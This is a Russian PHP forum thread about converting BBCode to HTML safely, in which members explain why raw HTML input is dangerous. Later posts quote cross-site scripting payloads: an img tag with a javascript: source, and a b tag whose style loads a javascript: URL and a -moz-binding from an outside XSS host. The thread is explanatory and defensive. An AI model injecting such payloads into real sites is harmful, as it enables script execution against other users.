Модераторы: skyboy, MoLeX, Aliance, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Где найти скрипт форматирования, текста 
:(
    Опции темы
nicka
Дата 24.3.2004, 14:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 378
Регистрация: 11.6.2003

Репутация: нет
Всего: 1



Цитата
В форме для ответа ты не сможешь ввести <b>text</b>, нужно ввести [ b ]text[ /b ], а скрипт сделает из этого <b></b>, так вот вопрос: ты хочешь узнать про скрипт который из [ b ][ /b ] делает <b></b> или скрипт, который при нажатии на кнопку вставляет в поле [ b ][ /b ] или что либо еще7
,
мда, теперь я задумалась, а ведь верно,

[ b ]text[ /b ], - это у меня уже есть,
значит мне нужен
Цитата
узнать про скрипт который из [ b ][ /b ] делает <b></b>
,


и у меня вопрос, а почему же скрипт который (на javascript) сажает [ b ]text[ /b ] не может сразу <b></b> посадить?



PM MAIL   Вверх
arial
Дата 24.3.2004, 17:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник Клуба
Сообщений: 772
Регистрация: 11.3.2003
Где: Архангельская обл .

Репутация: 6
Всего: 7



Цитата
и у меня вопрос, а почему же скрипт который (на javascript) сажает [ b ]text[ /b ] не может сразу <b></b> посадить?
Из соображений безопасности.


--------------------
Есть люди, в которых живет Бог. Есть люди, в которых живет дьявол. А есть люди, в которых живут только глисты. (Ф. Раневская)
PM ICQ   Вверх
nicka
Дата 26.3.2004, 16:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 378
Регистрация: 11.6.2003

Репутация: нет
Всего: 1



arial
Цитата
Из соображений безопасности
,
а что в этом опасного?


Так где же найти такой скрипт
Цитата
который из [ b ][ /b ] делает <b></b>


PM MAIL   Вверх
arial
  Дата 26.3.2004, 17:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник Клуба
Сообщений: 772
Регистрация: 11.3.2003
Где: Архангельская обл .

Репутация: 6
Всего: 7



Цитата(nicka @ 26.3.2004, 16:30)
а что в этом опасного?

А я вот возьму и одним сообщением полностью поменяю дизайн твоего сайта. Или запущу JS код. baaa.gif


--------------------
Есть люди, в которых живет Бог. Есть люди, в которых живет дьявол. А есть люди, в которых живут только глисты. (Ф. Раневская)
PM ICQ   Вверх
Dexter
Дата 27.3.2004, 23:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Экс. модератор
Сообщений: 1562
Регистрация: 2.7.2002
Где: Москва, Бирюлево

Репутация: нет
Всего: 4



Цитата
а что в этом опасного?


Ну конкретно в <b></b> ничего, а от <img> уже опасен.


--------------------
The only thing you really know about me is...
...that's all you'll ever know
PM MAIL ICQ   Вверх
nicka
Дата 30.3.2004, 10:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 378
Регистрация: 11.6.2003

Репутация: нет
Всего: 1



Цитата
а от <img> уже опасен
- а чем, можно узнать?

и какие еще богут быть опасны?

PM MAIL   Вверх
IZ@TOP
Дата 30.3.2004, 22:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 44
Всего: 73



nicka , можно исполнить JavaScript код через img.



--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
nicka
Дата 31.3.2004, 15:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 378
Регистрация: 11.6.2003

Репутация: нет
Всего: 1



Цитата
можно исполнить JavaScript код через img.


а можно попдробнее для малоопытных?
PM MAIL   Вверх
IZ@TOP
Дата 31.3.2004, 21:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 44
Всего: 73



nicka , тебе по этому вопросу стоит в раздел JavaScript обратиться.
А вообще можно сделать так:
Цитата
[ img ]javascript:alert('lol');[ /img ]">
Но форум сказал что:
Цитата
ОБНАРУЖЕНЫ СЛЕДУЮЩИЕ ОШИБКИ
Динамические страницы в тэгах [ IMG ] запрещены

То есть если мы отправим тебе в гесту следующее:
Цитата
<img src="javascript:alert('lol');">
то этот злостный код исполнится.


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
nicka
Дата 2.4.2004, 11:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 378
Регистрация: 11.6.2003

Репутация: нет
Всего: 1



IZ@TOP , ясно

PM MAIL   Вверх
gemaglabin
Дата 10.2.2008, 14:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 10
Регистрация: 10.2.2008

Репутация: нет
Всего: нет



Цитата
Ну конкретно в <b></b> ничего, а от <img> уже опасен. 


Функциональная xss для оперы,ие и фаерфокса в теге b . По теме - http://pear.php.net/search.php?q=bb&in...amp;x=0&y=0 или вот такой код от ZaCo http://zaco.itdefence.ru/bbcode/bbcode.txt

Цитата

функция безопансого преобразования бб-тегов в соответствующие хтмл.
безопасность обьясняется невозможностью выхода за пределы атрибута в следствие использования модификатора /e и последующей фильтрации знака-ограничителя атрибута '


Код

<b style="background-image: url('javascript:alert(1);');-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss');">123</b>

PM MAIL WWW   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0632 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.